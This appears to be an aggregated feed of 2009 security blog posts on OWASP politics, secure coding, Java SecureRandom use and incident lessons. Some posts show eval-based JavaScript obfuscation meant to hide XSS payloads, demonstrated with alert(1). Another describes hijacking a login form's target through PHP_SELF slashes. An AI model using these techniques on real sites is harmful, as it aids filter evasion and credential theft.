2. Structured feedback, steering, and funding for OWASP projects
Vendors do not uniquely possess the ability to provide these capabilities. The community could provide this value but has not prioritized it nor has it been able to convince industry it could appropriately address their security/anonymity concerns or provide tangible value. Vendors have much better luck in these regards.

Third, finally, and most Importantly – vendors desiring to enter the space should be seen as a welcome sign of maturity to the space. Maturity, to me, will mean key advancements:
1. Larger and less ad-hoc budgets within organizations for application security
2. The emergence of higher and more explicit standards for quality for the community’s free and open software/tools
3. Convergence of the security community’s message, which will allow it to be taken more seriously
To facilitate this, I suggest the OWASP board do the following things:
1. Explicitly endorse vendor participation, as long as it meets the community’s code of ethics and conduct
2. Stop ‘the crank’ over people’s personal / corporate emails being used on OWASP lists
3. Protect a commitment to technical quality by avoiding vendor pitches at conferences in chapter meetings, and in posting
I really don’t mind when people use their corporate email addresses when they mail public lists (OWASP or otherwise). As a chapter leader, I don’t (personally) mind when presenters show up with their company’s slide stock though I push them to use the chapter template. To me, corporate emails and slide stock help audience members identify and appropriately couch bias. Given my own profession and employer, my own biases should be evident.

On the community front, my roles spanning the gamut between OWASP Member, Chapter Leader, and invited industry advisor. I see my professional life and my community involvement as being mutually reinforcing and beneficial, rather than conflicts of interest. I enjoy having two outlets for my time and work. And, while, Yes there’s bad individual behavior out there, I’d like to see people more comfortable with their dual-roles. Again, I think their professional career, their volunteer community, and the industry as a whole will benefit.
AppSec DC ‘09

Posted: November 9th, 2009, 2:45pm CST by jOHN

Tags: Software Security [edit]

After what must have been an incredible amount of leg-work a cabal of folk from the DC OWASP chapter are putting on the AppSec DC conference. The conference will also play host to the ‘09 OWASP Global Summit. I hope to see you there. Especially those of you practitioners from within organizations’ security groups–I feel like you provide essential perspective from the trenches of our security war.

Elections
Elections will be held to add another board member to OWASP and I’m anxious to see how the process plays out. Knowing all four announced candidates, I imagine different outcomes based on who receives the nod. In an odd turn of events, I actually like all the candidates; I think they’re great guys. In particular, I’ve known Pravir for many years, I’ve worked with him off-and-on, and respect him deeply.

I’d like to point out Eoin Keary’s bid in particular, because I like his focus on quality and governance. I perceive OWASP be at an inflection point in its development and growing pains are already evident. Selecting particular projects on which to focus, placing them under more rigorous quality control, and working towards maturity criteria others have begun to define can really increase the reach and impact of OWASP. This idea is essential to Mr. Keary’s platform.

Tesauro and Chandra, contributors to project assessment criteria, appear to place importance on this as well. Consider the draft criteria their committee is working on.

Again, I think quality is an ever-more-important imperative as the OWASP community grows and I’d like to see the assessment criteria expand to contain some more explicit and rigorous technical quality gates for a project. As I look at popular existing projects, I am beginning to feel a pressing need for outside review/revision.

Talks
As the Java EE persona of the ESAPI project nears release, I’m anxious to see a more hands-on, more technical, and more developer-focused presentation on the project at AppSec DC. Recent presentations/commentary has felt a bit more like cheerleading to me.

Of course, I’ll be dying to know what Dinis has added to O2 recently and it appears he’ll be presenting on this topic.

Threat Modeling
I’ll be presenting on Threat modeling on Wednesday but I’m also very interested in discussing the topic with the guys from SecurityCompass, who will be giving all-day training on the topic. Rohit in particular, has made what I consider to be top-notch start on his Java EE Security Patterns document and I’m anxious to see the methodology that back-ended their work.

cat slave diary

How not to answer secret questions and answers

Posted: October 26th, 2009, 6:06pm CDT by vanderaj

Tags: Security [edit]

This one is not quite safe for work, but it’s very funny:

Live Chat Help

Currently experiencing network delays, one moment please….
Network connection re-established.
Adam Brooke: Do you work for the IRS?
Kamyar: Thank you for waiting Sir. Unfortunately we cannot access your password, however we can reset it, which enables you to access your account change the password right away.
Kamyar: Would that be acceptible?
Adam Brooke: Thanks, that would be great
Kamyar: Very well Sir. In order to process your request, please provide us with the answer to your secret question :
“How long is you cock?”. This is for authentication purposes and is part of our security policy.
Adam Brooke: Very or long
Currently experiencing network delays, one moment please….
Network connection re-established.
Kamyar: Thank you. I will accept that. The exact answer we have on file is “Very!”. Your temporary password is reset to “brooke”.
Kamyar: Please try to sign in again and kindly confirm once you are signed in.
Adam Brooke: I really hope you are laughing too. Thanks for being so professional.

[www.fixfactory.co.uk]

p.s. I use random security questions (if possible) and random answers stored in a password manager. It’s the only safe way to avoid being pwned. Good luck trying to answer “What’s your mother’s maiden name” with me! It could be n,;Ug~RolDE0?RP>A{Y/ or worse.

Disenchant's Blog

Incremental Backups of Crypto Containers

Posted: October 22nd, 2009, 11:25am CDT by Disenchant

Tags: Security [edit]

If you want to backup your crypto containers, you have mainly two choices:
1.) Open the container on your machine and one on the backup server and than you can start with an incremental backup.
2.) You always transfer the whole crypto container.
From a security point of view it’s not acceptable to open a container on a remote host which is perhaps even not owned by you and of course you don’t want to backup a 1GB container after you’ve just added a small *.txt
Here, I’ll demonstrate how to do incremental backups of crypto containers without even once open them

# backup.sh echo "Creating patch" bsdiff disk_of_last_change.tc disk_to_work_with.tc patch.patch echo "Move patch to server" mv patch.patch serverSide cd ./serverSide echo "Use patch" bspatch disk_on_the_server.tc disk_on_the_server.tc patch.patch cd ../ echo "cleanup" rm ./serverSide/patch.patch rm disk_of_last_change.tc cp disk_to_work_with.tc disk_of_last_change.tc

Unfortunately, this is not as fast as it could be, even if it’s much faster than transfering the whole container all the time but I also found a quiet strange way on how to improve the speed of the whole process. You can just use base64 encoding and the normall diff instead of using bsdiff because you can work much faster on plain text files than on binary files. Here’s how an example could look like:

# backup64.sh # # run once: # base64 disk_to_work_with.tc > disk_of_last_change_64.tc base64 disk_to_work_with.tc > disk_to_work_with_64.tc echo "Creating patch" diff disk_of_last_change_64.tc disk_to_work_with_64.tc > patch64.patch echo "Move patch to server" mv patch64.patch ./serverSide/ cd ./serverSide echo "Use patch" patch disk_on_the_server_64.tc patch64.patch cd ../ echo "cleanup" #rm disk_of_last_change.tc #rm disk_of_last_change_64.tc rm ./serverSide/patch64.patch mv disk_to_work_with_64.tc disk_of_last_change_64.tc base64 -d disk_of_last_change_64.tc > disk_to_work_with.tc

As you’ll see, the patches are slightly bigger than the ones with bsdiff but I think you can accept that when you get such a huge performance improvement by using the base64 version.

I know that I didn’t really explain everything but don’t hesitate to ask me if there are any questions

The Spanner

My RegExp is leaking

Posted: October 20th, 2009, 5:27am CDT by Gareth Heyes

Tags: Security [edit]
I discovered a long time ago that the Javascript specification actually encourages the global RegExp object to retain the properties from the last execution of the regular expression parser. This is quite funny and stupid because as we move forward and sites start to share the same Javascript space we will leak information that we don’t want to leak.

Don’t get me wrong this isn’t a huge issue, it’s just one of those little spec holes which we can exploit for Obfuscation or information leakage. Noscript or Firefox I’m not sure which seems to leak the last RegExp execution when called from a event. An example of this can be viewed here:-

Regexp leak

So when you click the link, the URL is actually built from Noscripts scan of the URL using the following code:-
```
alert(RegExp['$`']+RegExp['$&']+RegExp['$''])
```
This could be used for hiding a XSS payload or something, like I said not really that serious…okay onto obfuscation. We can use leftContext etc as a variable to eval and execute code based on the RegExp matches like so:-
```
/\u0024/.test('x61x6cx65x72x74x28x31x29x24');
eval(RegExp['$`'])
```
So the pattern finds $ within the text alert(1)$ and returns the leftContext (RegExp['$`']) which is alert(1) and executes the code.

And finally I’ll leave you with some bonus obfuscation:-
```
eval('a'.replace(/(.+)/,'$1l').replace(/(.+)/,'$1e').replace(/(.+)/,'$1r').replace(/(.+)/,'$1t').replace(/(.+)/,'$1(').replace(/(.+)/,'$11').replace(/(.+)/,'$1)'))
```
```
eval('342342ale'.replace(/d+/,'$`')+'rt23879'.replace(/d+/,'$'')+'abcdefggi(1)'.replace(/.+(([1]))/,'$+'))
```

Dominic White's .tHE pRODUCT

"Evil Thug" goes after Full-Disk Encryption

Posted: October 19th, 2009, 3:35pm CDT

Tags: Security [edit]

Boy do I have news for you security people out there; I have a 100% reliable way of breaking all encryption! I call it the "Evil Thug" attack. I provide this service for a small fee. The entry level service will get me or an employee for a hour, this is all it will take to break any encryption in the world (and no we don't need a prostitute, even for 2048bit RSA encryption).
The basic methodology is to approach the encrypted device... and punch the owner in the face until they decrypt the device. The premium service will have this punch-up upgraded to a rubber hosing, and the platinum version will get you some drugs and a $5 wrench. Unlike our competitors, you won't need to involve a notoriously unreliable Latino third-party stereotype.

Okay, jokes aside. Joanna Rutkowska, who has done some hardcore stuff in the past, has done a write-up and released a tool showing how easily the passphrase for a full-disk encryption product can be retrieved by an example person who has access to your physical laptop, even if powered off and without requiring the complexity of coldboot attacks. While she acknowledges that "the concept behind the Evil Maid Attack is neither new, nor l33t in any way" the amount of non-critical coverage it has gotten has irked me.

Her scenario involves someone who not only has access to your laptop without you being around, but has repeat access to your living space, and if they choose, *you*. Of the one squillion options available to a thief at this point, some complicated boot-loader jiggery pokery (not to mention extensions to support other full disk encryption software, AV evasion and the inevitable arms-race/maintenance overhead these things turn into) seems far less viable than beating it out of the victim, or even poisoning their toothpaste and only giving them the antidote once decryption has occurred.

Arguably, actually beating someone exposes you to all sorts of potential law enforcement nastiness, like getting ID'ed in a perp walk. However, if you are going to train an army of maids, *and* have them chain gang laptops out of hotels, you can still get ID'ed by a maid, and you're setting up a fairly big bread trail to your operation by involving that many people, and stealing that much stuff. In short; No, this does not provide you some magic-anti-police ability to scale the theft and is less violent but no more effective than our platinum wrench service.

In future, please don't look to encryption to stop bullets, or pretend that when it doesn't something interesting has happened.

ha.ckers.org web application security lab

Happy 900 and RSnakes on a Plane!

Posted: October 19th, 2009, 2:58pm CDT by RSnake

Tags: Random Security [edit]

I realized after I posted the last post that ha.ckers.org has finally reached the 900 blog post mark. I honestly didn’t think we’d make it. After how many hornets’ nests we’ve stirred up over the last 5 years that this version of this site has been online, it’s kind of amazing that the site is still going strong. So I decided to do a bit of a fun post. If you are lacking a sense of humor, please move on now. We’ll forgive you. Now, in reference to a recent Twitter post about yours truly:

@shawnmoyer What no @rsnake’s on a plane joke?

Speaking of RSnakes on a plane - I was taking a trans-Atlantic flight and I was bored - as an RSnake will tend to be after 2 solid hours of a classic but bad Meg Ryan movie. I realized that they had some games on the in-flight entertainment. Ahh, something to play, this should be amusing. Well, if the games were good, maybe I would have been more interested, but Blackjack sounded good enough for kicks. So I started playing. You start off with $100. Well, after me quickly losing a few hands, I decide that playing like a normal user is getting me nowhere. Let’s try some different tactics. How about betting $100 and then folding? Ah… I end up with a negative integer, somehow. Now what if I bet a huge negative number and fold again - like -200? Ah, I get an even bigger negative integer.

What happens if I keep doubling my bet? Hmmm… this negative integer thing is getting huge. Oops! Blackjack - huge positive payout: time and a half larger than my bet even! Alas, somewhere around 1,000,000 is when the in flight entertainment crashed on me - and it turns out that clicking the button thousands of times to change your increment of betting from -50,000 to +50,000 in $5 increments is a really crappy way to make a flight go faster. But before all that, here’s the picture I took:

Click here to enlarge

How many things were wrong here? Input validation errors, logic flaws, and negative integers used for currency… The worst part was I couldn’t even bet someone a free drink that I could get a higher score than them because they offered free drinks in-flight. Alas! Anyway, this story was in case, like Mortman, you were wondering what it’s like to fly with RSnakes on a plane… Moral of the story - stop showing old Meg Ryan movies on airplanes.

Dominic White's .tHE pRODUCT

When AntiVirus was the Virus

Posted: October 19th, 2009, 5:38am CDT

Tags: Security [edit]

This weekend was rather eventful, and we learned a valuable lesson about viruses, security software, and professional scepticism in IT environments. I've briefly documented it below so you can learn from our mistakes.

Last week Wednesday a virus was detected on a client's network. The anti-virus (AV) host intrusion prevention system (HIPS) was updated to block access to the URLs the virus was using to fetch its payload and other control instruction.. However, the domain lookups[1] to these URLs increased massively by Friday, so much so, they caused the internal firewalls to fail due to the load from trying to inspect this traffic. Domain lookups were then blocked at the firewall, but the source of the lookups persisted. However, network access was restored and outwardly there was nothing wrong.

We now needed a sample of the virus. Without it we could not get a signature from our AV vendor and get it removed from the whole environment. We also needed to know what it did so we could advise on appropriate remediation (e.g. changing facebook passwords). We tried all sorts of things. We isolated one machine and tried to work out what would make the lookups stop (our test for the existence of the virus). We replaced the local domain cache with static links (in hosts and lmhosts files) to try and make the lookups not traverse the network (and hence not cause outages in future), while we tried looking for the virus. We ran multiple tools and scoured 'infected' hard drives looking for the virus. We even dumped running programs from RAM fearing the virus had injected itself into a legitimate windows process. We killed processes until bluescreen or reboot, everything we could think of to try and find a failure criteria that would identify a sample. Meanwhile, our AV vendor's highest level escalation analysts were connecting in to our machines, we were uploading hundreds of potentially infected files to them, and a hard drive had been priority couriered to them. This continued 24 hours a day during the weekend with IT personnel working 24hr shifts until breaking point.

Eventually, on Sunday it was discovered that there was no virus (or not as widespread as we believed) and that our AV's HIPS had in fact been causing the domain lookup flood. By assigning the HIPS to block traffic to the viruses' domain, the HIPS would perform a domain lookup to find where the domain current resides and block that. However, instead of caching the lookup's result, our AV would regularly re-lookup the domain. This is likely because of 'fast flux'[2] malware domains which bounce their actual location all over the internet. The unintended consequence however, was a DNS flood. Even then, DNS should not be large enough to cause significant network latency, and it was this in conjunction with the firewalls attempting to inspect and apply policy to this traffic that caused the failure. What's more, is that the domain lookups should have gone to local DNS resolvers and not the internal top-level DNS (which is behind the firewalls), but were bypassing their local cache due to advised against misconfigurations.

In summary, our own security software caused an unintended consequence, that behaved much like a highly complex virus. In future, I would recommend that at least two solid points of evidence for the existence of a virus be discovered before a sample is attempted to be recovered (usually an infection vector and behaviour, if you see behaviour after infection but not before, then you have something). While, on the surface, I feel quite stupid, in reality not even the top level analysts at our AV spotted the behaviour of their own software. The truth is that IT environments are sufficiently complex, that these sorts of mistakes are more likely than not. As security people, our job is to know this, and make sure we can guide people to get enough evidence to know what is happening before they waste an entire weekend. This is why I want all of you to learn from our mistake :)

[1] The internet works on IP addresses, these are four sets of numbers. However, they are not very human readable, so the domain name system (DNS) was created to allow human readable names e.g. www.google.com which a domain lookup would translate to something like 209.85.227.103

[2] Virus writers have worked out that if they rely on one domain then it is fairly easy to get them shut down. So they usually make their viruses query a couple to several thousand domains, and make those domains regularly change the IP address returned (see [1]) providing two layers of rapidly changing complexity, thus making them that much harder to stop.

Justice League

White Hat Hacker Man

Posted: October 13th, 2009, 9:00am CDT by Guest

Tags: Software Security [edit]

This is a guest post by Cigital’s resident songwriter, Paco Hope.

In an effort to go down in history as the “Weird Al Yankovic” of Software Security, I’ve released my latest single: This time it’s “White Hat Hacker Man” to the tune of Billy Joel’s “Piano Man.”

And here are the lyrics:

It’s five o’clock on a Saturday
The developers are trying again
The release manager waits in his cubicle
for the build scripts and smoke tests to run

He says how will we do this by Monday?
The security tests haven’t begun
It’s buggy and brittle
and does just a little
of what the sales guys downtown say it can

NIST 800-53, FIPS 140-2, PCI….

Chorus:
Break our new app white hat hacker man
Break our new app tonight
Cause we’re all scared to death of the auditor
But you’ll make us feel alright.

Now Bob down the hall is a friend of mine
He uses tools right off the shelf
He can do just a scan
or maybe try something canned,
but he’s better than doing it yourself.

He says “why do we need these consultants?
I can do all this stuff just the same.”
He doesn’t realize, when the hackers come,
Who the management’s going to blame.

CISSP, MSCE, SANS GIAC

Chorus:
Break our new app white hat hacker man
Break our new app tonight
Cause we’re all scared to death of the auditor
But you’ll make us feel alright.

Now Dave’s the development manager
And security’s a pain in his ass
Cause he knows first and foremost
Features get him his bonus
So security always comes last

Chorus:
Break our new app white hat hacker man
Break our new app tonight
Cause we’re all scared to death of the auditor
But you’ll make us feel alright.

Well it’s been a long day in security
The dev manager gives a sad smile
He knows this release
Despite all their pleas
Will miss their deadline by a mile

And metasploit overflows buffers
And the shell code runs on servers galore
And they burned another sprint
Instead of building security in
So assessments will go on some more

CCIE, OWASP, PMP

Chorus:
Break our new app white hat hacker man
Break our new app tonight
Cause we’re all scared to death of the auditor
But you’ll make us feel alright.

The Spanner

PHP self return of the slash

Posted: September 25th, 2009, 3:33am CDT by Gareth Heyes

Tags: Security [edit]

Not posted for a while because I couldn’t think of anything interesting to say but I thought about something I found ages ago in PHP4 and it’s been long enough now. This is also quite funny because my server is vulnerable to this (that’s what I get for crappy hosting).

So what happens if you escape PHP_SELF with htmlentities($_SERVER['PHP_SELF'], ENT_QUOTES)? Safe from XSS? I hope so. Safe from everything? Well not really or at least it didn’t used to be. You see PHP does some crazy things with the URL and it’s possible to change a form target to an external URL without using any unsafe characters. Take the following example:-

Login form

This form simulates some web application login and uses PHP_SELF to output the URL because for some reason the developer doesn’t want to type “login.php” or use __FILE___. The URL is escaped from XSS but we can change the form target by simply supplying slashes e.g.

Sending Google your password So the user enters their username and password combination and thinks that they are logging on to the target application in reality you are sending the details to a evil site.

I checked PHP5 and it seemed ok but this will serve as a reminder that the slash can get you.

Michael Howard's Web Log

Security Sessions at TechEd in Australia and New Zealand

Posted: September 6th, 2009, 3:20pm CDT by michael_HOWARD

Tags: Security [edit]
I'm heading to TechEd Oz and NZ in a couple of hours to present the following:
SEC312 The "Everything Developers Need to Know About Security" Talk
- Oz: 9/10/2009 15:30-16:45
- NZ: 9/14/2009 14:15-15:30
SEC201 Inside the Microsoft Security Development Lifecycle: And how you can use it!
- Oz: 9/10/2009 11:30-12:45
- NZ: 9/15/2009 12:10-13:25
I'm also giving a couple of half-day SDL workshops:
SDL Workshop
- Oz: 9/11/2009 (I'll update once I get the time!)
- NZ: 9/13/2009 10:20 - 13:00
If you cannot make it to TechEd this year, a number of sessions, including SEC201 will be made available through Live Meeting. More info here.

The Spanner

Javascript compression with unicode characters

Posted: August 15th, 2009, 6:19am CDT by Gareth Heyes

Tags: Security [edit]
For some random reason I was making a base999 number compression function, I think it was because someone posted on sla.ckers about base 62. I wanted to see how far I could compress the numbers using a higher range of characters, then it hit me. Why not use it for js compression

You see if you convert the characters to their character code number and then extract a section of the number and convert it to a unicode character you can drastically reduce the amount of characters, provided of course your code contains enough characters as a decompression function is required.

I’ve added the three tag to Hackvertor to demo the compression. Here is a sample of code:-
```
eval("◮ᾥѵ٨ፍ".replace(/[^s]/g,function(c){return c.charCodeAt()}).replace(/[3][2-9]|[4-9][0-9]|[1][0-1][0-9]|[1][2][0-6]/g,function(d){return String.fromCharCode(d)}))
```
The unpacking function simply gets the character codes, then the very specific regexp finds a range of characters from !-~ based on the character code number. This is because I only have one long number and they are not separated. I leave spaces intact because they don’t fall between the ranges and also it can break syntax if they are missing a semi-colon. It’s possible to reduce it further by including these characters.

So if you want to have some fun, try reducing the amount of characters compressed and see if you can create a smaller decompression function. Below is an example of the jspack tag in action:-
JS pack
Update…
Ok as Andrea pointed out this isn’t actual compression however many systems including twitter think the unicode characters are actually only 1 byte which results in longer message. So you can compress a 280 character message into 140. Sirdarckcat manage to get it down to the 50% ratio, you can send encoded twitter messages with Hackvertor. Like this:-

Encoded twitter message

Justice League

Proper use of Java’s SecureRandom

Posted: August 14th, 2009, 9:54am CDT by Guest

Tags: Software Security [edit]
This is a guest post by Amit Sethi, Senior Consultant at Cigital.

When generating random numbers in Java for cryptographic purposes, many developers often use the java.security.SecureRandom class. And while the java.security.SecureRandom class is designed to generate cryptographically secure random numbers, there are a few subtleties in the API, and if it is used improperly the output can become predictable. At Cigital we have witnessed a number of cases where this is true. The following is a guide to the proper use of Java’s java.security.SecureRandom class.

First, let’s take a quick look at how the java.security.SecureRandom API works. The java.security.SecureRandom class does not actually implement a pseudorandom number generator (PRNG) itself. It uses PRNG implementations in other classes to generate random numbers. A number of actual PRNGs may actually be used when an instance of java.security.SecureRandom is created. The PRNGs are part of Java cryptographic service providers (CSPs). In Sun’s Java implementation, the SUN CSP is used by default. On Windows, the SUN CSP uses the SHA1PRNG implemented in sun.security.provider.SecureRandom by default. On Solaris and Linux, the SUN CSP default is to use sun.security.provider.NativePRNG which simply provides the output of the /dev/urandom PRNG provided by the operating system. If however, on Solaris/Linux, the java.security configuration file in the JRE is modified such that securerandom.source is set to something other than file:/dev/urandom, then the SHA1PRNG implemented in sun.security.provider.SecureRandom is used, as on Windows. Of course, an application can choose not to use the defaults, and can always specify a particular PRNG implemented by a particular cryptographic provider. In Cigital’s experience, most Java applications that use java.security.SecureRandom actually use the SHA1PRNG provided by the SUN CSP under the cover.

Now, an application will end up with an instance of SHA1PRNG implemented in sun.security.provider.SecureRandom using the following calls:
```
// The following will create SUN SHA1PRNG on Windows with
// default configuration and Sun JRE, and on Solaris/Linux
// if securerandom.source is modified in java.security
SecureRandom sr1 = new SecureRandom();

// The following will create SUN SHA1PRNG if the highest
// priority CSP is SUN
SecureRandom sr2 = SecureRandom.getInstance("SHA1PRNG");

// The following will always create SUN SHA1PRNG
SecureRandom sr3 = SecureRandom.getInstance("SHA1PRNG", "SUN");
```
Note that according to Sun’s documentation, the returned java.security.SecureRandom instance is not seeded by any of these calls. If after one of these calls, java.security.SecureRandom.nextBytes(byte[]) is called, then the PRNG is seeded using a secure mechanism provided by the underlying operating system (starting with JRE 1.4.1 in Windows and JRE 1.4.2 in Linux and Solaris). If java.security.SecureRandom.setSeed(long) or java.security.SecureRandom.setSeed(byte[]) is called before a call to java.security.SecureRandom.nextBytes(byte[]), then the internal seeding mechanism is bypassed, and only the provided seed is used to generate random numbers.

For those who are not familiar with the inner workings of cryptographic PRNGs, their job is to take a relatively small random seed and use it to produce deterministic output that seems random to anybody that does not know what the seed is. The PRNG tries to ensure that the output does not reveal any information about the seed, and that somebody observing the output cannot predict future outputs without knowing the seed.

By bypassing the internal secure seeding mechanism of the SHA1PRNG, you may compromise the security of your PRNG output. If you seed it with anything that an attacker can potentially predict (e.g. the time when the PRNG instance was created), then using java.security.SecureRandom may not provide the level of security that you need.

Finally, regardless of how well the PRNG is seeded, it should not be used indefinitely without reseeding. There are two approaches that can be used for longer-term security of PRNG output:
- Periodically throw away the existing java.security.SecureRandom instance and create a new one. This will generate a new instance with a new seed.
- Periodically add new random material to the PRNG seed by making a call to java.security.SecureRandom.setSeed(java.security.SecureRandom.generateSeed(int)).
In summary, keep the following in mind when using java.security.SecureRandom:
- Always specify the exact PRNG and provider that you wish to use. If you just use the default PRNG, you may end up with different PRNGs on different installations of your application that may need to be called differently in order to work properly. Using the following code to get a PRNG instance is appropriate:
  SecureRandom sr = SecureRandom.getInstance("SHA1PRNG", "SUN");
- When using the SHA1PRNG, always call java.security.SecureRandom.nextBytes(byte[]) immediately after creating a new instance of the PRNG. This will force the PRNG to seed itself securely. If for testing purposes, you need predictable output, ignoring this rule and seeding the PRNG with hard-coded/predictable values may be appropriate.
- Use at least JRE 1.4.1 on Windows and at least JRE 1.4.2 on Solaris and Linux. Earlier versions do not seed the SHA1PRNG securely.
- Periodically reseed your PRNG as observing a large amount of PRNG output generated using one seed may allow the attacker to determine the seed and thus predict all future outputs.

The Spanner

Fresh prototypes on all browsers

Posted: August 11th, 2009, 9:05am CDT by Gareth Heyes

Tags: Security [edit]
So there’s a well known technique for getting Object prototypes that are not from the current window which results in a fresh prototype. You use iframes to copy the required prototype from the iframe.contentWindow BUT…It doesn’t work in all browsers and it’s pretty silly having to copy each object manually, why not just use the window? Well you can

So after a lot of code testing/rewriting here is how to do it:-
```
var iframe = document.createElement('iframe');
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.frameborder = "0";
iframe.style.position = 'absolute';
iframe.style.left = '-100px';
iframe.style.top = '-100px';
document.body.appendChild(iframe);
var code = "(function(objConstructor){ return window.NameOfInstance= objConstructor();})(" + objConstructor+ ")";
if (window.opera) {
        iframe.contentWindow.Function(code)();
} else {
        iframe.contentWindow.document.write('' + code + '');
        iframe.contentWindow.document.close();
}
var obj = iframe.contentWindow.NameOfInstance;
if(!obj) {
        iframe.contentWindow.Function(code)();
        obj = iframe.contentWindow.NameOfInstance;
}
```
So here obj contains our Object instance within the context of the iframe window, that means any references to window inside your object only affect the iframe context. The reason for the if statements and different code is because Firefox, Safari, Opera and IE all act differently. Opera doesn’t pass the object straight away unless the Function constructor is used, Safari supports the Function constructor method and the document.write method but doesn’t return the object correctly when using document.write until it’s loaded.

The important part about this code is that you don’t need to use the onload event of the iframe as the object is returned instantly
Creating HTML listeners with JSReg and Hackvertor

Posted: August 4th, 2009, 7:34am CDT by Gareth Heyes

Tags: Security [edit]
JSReg has grown up a bit since I released the first version. You can now use it to monitor malicious javascript. I have a very basic example of this in Hackvertor, at the moment Hackvertor doesn’t support callbacks so it’s a bit of a hack but you will get the idea.

I use __defineSetter__ to monitor the fake document object, you see in JSReg the document object doesn’t exist it becomes $document$ but you can supply your own object in order to create a listener. At the moment the code only works on Firefox, see below for the example:-
```
var parser = JSReg();
var result;
parser.setDebugObjects({result: function(code){
                                                result = code;
                                                }});
var html = '';
if (window.__defineSetter__) {
        var htmlLog = function(str) {
                html += str;
        }
        var obj = {
                $write$:htmlLog,
                $body$:htmlLog
        }
        obj.$body$.__defineSetter__('$innerHTML$',htmlLog);
        obj.__defineSetter__('$innerHTML$',htmlLog);
        parser.setDocument(obj);
}
try {
        parser.runCheck();
        parser.eval(code);
}
catch (e) {
        alert(e.description||e);
}
alert('Decoding javascript...');
if(html != '') {
        result += 'nHTML:'+html;
}
return result;
```
So “obj” is our fake document object, I just add the properties write and body. Then I use __defineSetter__ to monitor any assignments to innerHTML. You could monitor more of course and even extend the window object to monitor eval. So how does this work in practice? Well take a look below with some fake encoded malicious javascript:-

Encoded fake javascript malware

As you can see JSReg executes the javascript safely and then uses the fake document to monitor document.write which presents you with the HTML output. This is only a basic example of how it could be used, in future I plan to allow Hackvertor to provide more detailed examination of malicious javascript.

Justice League

Is “Software Protection” Software Security?

Posted: July 29th, 2009, 3:21pm CDT by gem

Tags: Software Security [edit]
I am the editor of the Addison-Wesley Software Security series. When Christian Collberg came to me with an idea for a book about software protection, I had a really hard time figuring out whether or not it belonged in the series. Christian is a brilliant researcher and an important guiding light in the field. But should we consider software protection part of software security? Good question! To make matters worse, half the software security people I polled said “yes” and the other half said “no.”

In the end, I held out to see what Christian and his co-authors (who eventually boiled down to one—Jasvir Nagra) came up with. The answer is the excellent book Surreptitious Software. It’s in the series.

I believe that software protection will play a larger and larger role in protecting software from certain security attacks. To name a few concrete cases, imagine these scenarios:
- you’re a game producer and you need to protect your intellectual property against pirates (at least for a month or two after your game is released so you can make some money)
- you’re charged with developing a music playback solution that protects both the player and (maybe) the content (iTunes anyone?)
- you’re a defense contractor storing important military secrets electronically in the very hardware that you fly over enemy territory on purpose. what happens when a predator drone is shot down in Pakistan? what about an American spy plane forced to land in China?
- you’re a smart card vendor making chip cards for payment systems, and the cards will be distributed to good guys and criminals alike
- you’ve built a new game console and you want to protect it from some kinds of tampering
- you’re a programmer with a hot new algorithm that you don’t want your competitors to have
- you want to crash any debuggers that attach to your code and thwart easy disassembly
These and many other problems are directly addressed in Surreptitious Software. The book covers software obfuscation, watermarking, birthmarking, tamperproofing and other aspects of software protection. And it covers them in an exhaustive, scientific, technically-thorough way.

Software protection in many ways turns software security on its head. Imagine a discipline that can be used to cloak virus code, put bugs into code on purpose (which are tripped when the code is tampered with), scramble things up so badly that they are much harder to understand than normal, slow things down (in certain cases), create vast swaths of meaningless nonsense in the middle of real code, and so on. How on earth could any of that be a good thing?

Read this book and find out.

Michael Howard's Web Log

ATL, MS09-035 and the SDL

Posted: July 28th, 2009, 12:43pm CDT by michael_HOWARD

Tags: Security [edit]

[blogs.msdn.com]

tssci security

Appsec industry trends - looking forward

Posted: July 25th, 2009, 8:18pm CDT by dre

Tags: Security [edit]
Recently, it has come to my attention that industry people I respect (and vice versa) have desired me to re-post some comments I’ve made on other blogs.

It’s also high-time that we at TS-SCI/Security begin writing again. I can tell you that since March (our last post), Marcin and I have been involved heavily in our day-to-day work at client-sites and other community efforts/projects.

A lot of new research is going to begin to become available from BlackHat/Defcon. It’s just that time of year where everyone starts to share their work with others. While we can’t exactly reveal everything that we’re working on quite yet, be sure to check in for updates. I have been begging Marcin to post something on an HTTP-related argument we got into about the Post/Redirect/Get pattern, as one example.

Comment gone wrong #1

There was some interesting discussion lately on the OWASP News Podcast, in particular, Podcast 32. This is the first News Podcast that I missed (I was on a plane at the time we recorded), and having just listened to it — I certainly think it’s worth your time to listen to.

This particular News Podcast set off a blog post from Jeremiah Grossman where he says OWASP Podcast #32 pulls no punches. I attempted to comment, but the comment eventually disappeared — perhaps Jeremiah didn’t appreciate my insights. Others did, so here it is:

on the appsec market maturity and potentiality prediction — i rate [discount black-box appsec SaaS] as low-value, and in the future, will continue to be low-value.

selling discount app pen-tests hurts infosec management as a whole because you’re trying to tell ciso’s that they can buy some freedom for $25k/yr (or whatever it is). in reality, they need to spend millions of dollars over several years.

discount app pen-tests need to go out of style. here’s why: because the middle-ground and potential high-value comes from partnering with a trusted adviser (i.e. an appsec consulting company), or attempting to retain this talent in-house (which most companies — including Microsoft who built lists of individual talent to target — have pretty much failed).

every BPO (business process outsourcing) expert knows that the ideal is to avoid “discount” shops and focus on real partnerships, but don’t give any single one partnership everything.

for example, attempt to retain 20% of your appsec program internally ASAP (this does take time — don’t expect it to happen overnight), while outsourcing initially 20% to one minor company (e.g. Gotham Digital Science, Aspect Security, Denim Group, Matasano, Independent Security Evaluators), then adding a bigger company (e.g. Accenture/McAfee/Verisign) for another 20% to take over the smaller company’s 20% if [expectations are not met -- or major changes occur, such as buyouts]. The next step is to figure out a balance of adding more consulting companies somewhere in the 40-80% range, while growing your internal talent.

investing in this model is extremely expensive and extremely difficult to manage. ciso’s are having problems finding/retaining talent, drafting RFI’s, reading RFP’s, following up on references, and deciding who is really talented and how that talent applies to the applications in their appsec programs. most can’t or won’t even draft an appsec policy.

[low-bid/low-value app pen-test houses, especially SaaS-based ones] convolute and diminish the returns that are necessary to build or even start an efficient appsec program. that’s EXACTLY what Andrew van der Stock was trying to say.

if you want software security ROI, go read Sadbury, Soo Hoo, and Jacquith’s “Tangible ROI through secure software engineering” or follow any of the work that Steve McConnell has done, which this referenced paper was based on.

